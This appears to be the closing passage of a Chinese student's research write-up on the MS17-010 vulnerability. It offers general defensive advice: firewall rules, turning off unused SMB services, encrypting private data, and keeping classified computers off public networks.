同学们今后使用计算机的过程中需要格外小心,除了不点击奇怪的网页防止钓鱼,不接收来历不明的文件防止下载病毒,以外,我们还需要正确配置网络,可以设置防火墙规则,使病毒的传入受到规则制约,能阻拦一般黑客的攻击;关掉我们平时不需要的网络服务,就如本文提到的SMB协议服务,需要使用时再打开。

这些病毒不需要我们主动引导病毒进入电脑,就可以强行穿过电脑防御进入内存区搞名堂,可以说防不胜防,电脑内涉及到自身隐私安全的部分推荐还是使用专业的加密工具或核准的加密算法进行加密后再保存,这样即使数据被窃也不会泄露个人敏感信息,将损失降到最低。涉及企业甚至国家秘密的计算机最好不要轻易连接不安全的公共网络,遵守保密条例,不要为集体甚至国家带来预料之外的损失。

你可能感兴趣的:(MS17-010 漏洞研究——免考课题 20155104 赵文昊)